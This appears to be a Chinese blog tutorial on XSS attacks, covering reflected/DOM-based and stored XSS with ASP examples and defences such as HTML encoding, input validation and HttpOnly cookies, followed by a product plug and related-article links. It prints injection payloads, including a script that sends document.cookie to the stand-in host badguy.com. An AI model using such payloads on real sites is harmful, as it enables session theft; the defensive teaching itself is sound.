上一篇介绍了SQL注入漏洞,今天我们来介绍另一个注入漏洞,即XSS跨站脚本攻击。XSS 全称(Cross Site Scripting) 跨站脚本攻击, 是Web应用中常见的漏洞。指攻击者在网页中嵌入客户端脚本(一般是JavaScript),当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的. ,比如获取用户的Cookie,导航到恶意网站,携带木马等。

认识XSS攻击

XSS攻击这个名词听起来挺专业的,那么它是如何发生的呢?
假如某个页面的表单中有下面这样一个textbox
<input type="text" name="address1" value="value1from">
value1from是来自用户的输入,如果用户不是输入value1from,而是输入
"/><script>alert(document.cookie)</script><!-
那么页面上的textbox就变成下面这个样子了。
<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">

因为注释符后面的内容被忽略了,所以上面的代码等价于:

<input type="text" name="address1" value=""/><script>alert(document.cookie)</script>

此时嵌入的JavaScript代码就会执行,页面会出来一个弹窗,将用户的cookie信息打印出来。

当然上面这个例子看起来没有什么危害,但在实际的攻击事件中,黑客可能将您的cookie发送到他的网站中,从面达到盗取用户cookie的目的。
 

XSS攻击的两种场景

1,DOM-Based XSS

DOM-Based顾名思义是直接嵌入攻击脚本到用户的页面中,并且受到影响的是当前用户。
比如黑客发现了某个网站中的某个页面存在XSS攻击漏洞,页面地址是:
http://victim.com/search.asp?term=apple

可以看到页面接受一个叫term的QueryString参数,search.asp页面代码可能是这样的。

<html>
  <title></title>
  <body>
    Results for <%Request.QueryString("term")%>
    ...
  </body>
</html>

黑客创建了一个网站用来接收盗取来的信息,然后通过注入攻击的脚本到这个请求的url中,然后url可能变成这样。

http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

当黑客访问这个url后,攻击脚本就会嵌入到用户的浏览器中,search.asp页面就会变成下面这样子。

<html>
  <title></title>
  <body>
    Results for <script>window.open("http://badguy.com?cookie="+document.cookie)</script>
    ...
  </body>
</html>

看到了吗,XSS攻击脚本成功嵌入到用户的浏览器中了,那么当用户再访问这个页面时,攻击脚本就会将用户的cookie信息发送到他的网站,也就达到盗取用户的信息的目的了。

 

2,Stored XSS

Stored XSS即存储式XSS漏洞,这种攻击可能比上面这一种危害更大,攻击者将攻击脚本上传到web服务器,使得所有访问该页面的用户都面临信息泄露的可能。
Stored XSS的攻击过程如下:
首先是黑客发现了系统某个页面存在XSS漏洞,且该漏洞允许将攻击代码保存到数据库中。
然后黑客就发布了一篇文章,并且在文章中嵌入了恶意JavaScript脚本。
那么当其它用户访问到这篇文章的时候,嵌入在文章中的恶意JavaScript脚本就会在用户的浏览器中执行,那么用户的信息可能就会被盗取。
 

防范措施

1,对用户的输入进行转义再输出到页面

比如上面的例子:
<html>
  <title></title>
  <body>
    Results for <%Request.QueryString("term")%>
    ...
  </body>
</html>

由于.net已经内置了HTML编码的工具类,可以使用System.Net.WebUtility.HtmlEncode(string)进行HTML编码,优化后:

<html>
  <title></title>
  <body>
    Results for <%HtmlEncode(Request.QueryString("term"))%>
    ...
  </body>
</html>

如果遇到XSS攻击,黑客输入term=,最终经过HTML编码后页面是这样子的:

<html>
  <title></title>
  <body>
    Results for &lt;script&gt;window.open(&quot;http://badguy.com?cookie=&quot;+document.cookie)&lt;/script&gt;
    ...
  </body>
</html>

可以看到,特殊字符都已经过转义了,那么嵌入的Javascript脚本也就无法执行了。

 

2,对用户的输入进行校验

意思是说只允许用户输入预期的数据,例如年龄的textbox中,只允许输入数字,而数字之外的字符都过滤掉,这样也就限制了黑客进行XSS攻击的可能。
 

3,将重要的cookie标记为http only

将重要的cookie标记为http only,那么通过JavaScript的document.cookie也就无法获取到用户的cookie了。
 
另外,我最近开发并开源了一个支持免费申请通配符SSL证书的平台:华迅FreeCert,解决了每隔一段时间就要重新申请和部署证书(因为传统的云厂商提供的免费证书一般只有三个月有效期),不支持免费申请通配符证书这两大痛点,欢迎大家注册使用并提供宝贵意见,谢谢!
 

详解Web应用安全系列(2)注入漏洞之XSS攻击的更多相关文章

  1. 框架基础学习之--详解web+maven+spring+mybatis+struts框架文件夹作用

    详解web+maven+spring+mybatis+struts框架文件夹作用 1.程序名 2.Mybatis,mybatis是数据持久层,就是和对象类有关系的东西 3.存放java文件,xml,p ...

  2. Web安全系列(三):XSS 攻击进阶(挖掘漏洞)

    前言 在前些章节 (web安全系列(一):XSS 攻击基础及原理)以及(Web安全系列(二):XSS 攻击进阶(初探 XSS Payload))中,我详细介绍了 XSS 形成的原理以及 XSS 攻击的 ...

  3. ps切图抠图详解-web前端(转)

    网页设计在技术层面上,第一步是美工做出网页效果图,第二步就是网页前端进行网页切图.网页切图工具常用的有fireworks.PS,这里使用PS进行网页切图. 我们通过设计稿,得到我们想要的产出物(如.p ...

  4. web安全系列(一):XSS 攻击基础及原理

    跨站脚本攻击(XSS)是客户端脚本安全的头号大敌.本文章深入探讨 XSS 攻击原理,下一章(XSS 攻击进阶)将深入讨论 XSS 进阶攻击方式. 本系列将持续更新. XSS 简介 XSS(Cross ...

  5. Web安全系列(二):XSS 攻击进阶(初探 XSS Payload)

    什么是 XSS Payload 上一章我谈到了 XSS 攻击的几种分类以及形成的攻击的原理,并举了一些浅显的例子,接下来,我就阐述什么叫做 XSS Payload 以及从攻击者的角度来初探 XSS 攻 ...

  6. Web 安全漏洞之 XSS 攻击

    什么是 XSS 攻击 XSS(Cross-Site Scripting)又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行.XSS是一种经常出现在 Web 应用程序中的计算机安全漏洞,是由于 ...

  7. 详解web容器 - Jetty与Tomcat孰强孰弱

    Jetty 基本架构 Jetty目前的是一个比较被看好的 Servlet 引擎,它的架构比较简单,也是一个可扩展性和非常灵活的应用服务器.它有一个基本数据模型,这个数据模型就是 Handler(处理器 ...

  8. 详解web.xml中元素的加载顺序

    一.背景 最近在项目中遇到了启动时出现加载service注解注入失败的问题,后来经过不懈努力发现了是因为web.xml配置文件中的元素加载顺序导致的,那么就抽空研究了以下tomcat在启动时web.x ...

  9. day08:软件系统的体系结构&Tomcat详解&Web应用&http协议

        day08 软件系统体系结构     常见软件系统体系结构B/S.C/S 1.1 C/S C/S结构即客户端/服务器(Client/Server),例如QQ: 需要编写服务器端程序,以及客户端 ...

  10. Spring详解(三)------DI依赖注入

    上一篇博客我们主要讲解了IOC控制反转,也就是说IOC 让程序员不在关注怎么去创建对象,而是关注与对象创建之后的操作,把对象的创建.初始化.销毁等工作交给spring容器来做.那么创建对象的时候,有可 ...

随机推荐

  1. [FAQ] panic: listen tcp :xxxx: bind: Only one usage of each socket address (protocol/network address/port) is normally permitted.

    在 Go 中运行服务之前的绑定端口这一步,如果端口号被占用了,那么会提示它只能使用一次. 换个端口号或者检查端口号的占用程序. Link:https://www.cnblogs.com/farwish ...

  2. Pinpoint对k8s关键业务模块进行全链路监控(17)

    一.全链路监控概述 1.1 什么是全链路监控 在分布式微服务架构中,系统为了接收并处理一个前端用户请求,需要让多个微服务应用协同工作,其中 的每一个微服务应用都可以用不同的编程语言构建,由不同的团队开 ...

  3. Prometheus+Grafana+alertmanager构建企业级监控系统(二)

    二.可视化UI界面Grafana的安装和配置 2.1 Grafana介绍 Grafana 是一个跨平台的开源的度量分析和可视化工具,可以将采集的数据可视化的展示,并及时通 知给告警接收方.它主要有以下 ...

  4. 后端每日一题 2:DNS 解析过程

    本文首发于公众号:腐烂的橘子 本文梗概: DNS 是什么,有什么作用 一条 DNS 记录是什么样的 DNS 域名解析原理 DNS 服务器如何抵御攻击 DNS 是什么,有什么作用 DNS(Domain ...

  5. C++ 异常处理机制详解:轻松掌握异常处理技巧

    C++ 异常处理 C++ 异常处理机制允许程序在运行时处理错误或意外情况.它提供了捕获和处理错误的一种结构化方式,使程序更加健壮和可靠. 异常处理的基本概念: 异常: 程序在运行时发生的错误或意外情况 ...

  6. 微软开源 MS-DOS「GitHub 热点速览」

    上周又是被「大模型」霸榜的一周,各种 AI.LLM.ChatGPT.Sora.RAG 的开源项目在 GitHub 上"争相斗艳".这不 Meta 刚开源 Llama 3 没几天,苹 ...

  7. Dijkstra迪杰斯特拉求最短路和最短路的条数和各个点权值的最大值

    作为一个城市的紧急救援队队长,你会得到一张你所在国家的特殊地图. 该地图显示了由一些道路连接的几个分散的城市. 地图上标出了每个城市的救援队伍数量以及任意两个城市之间每条道路的长度. 当其他城市接到紧 ...

  8. ES Monitoring 整理笔记

    Monitoring是elastic stack的监控模块,监控信息存在es索引中,并且可以通过kibana进行可视化的展示.(收集监控数据的方式从6.5版本起由Collectors-Exporter ...

  9. 面对Centos7系统的openssl版本升级

    CentOS7的版本系统,默认的OpenSSL的版本为OpenSSL 1.0.2k-fips 26 Jan 2017.但是openssl需要的版本需要较高的版本.通过下载最新的openssl版本.对o ...

  10. chgrp chown

    chgrp 用来改变文件所属群组,如果要改变的群组不在/etc/group里面,将会报错. chown 用来改变文件的所有者,如果改变的所有者便在/etc/passwd里面,将会报错. 需要注意的是c ...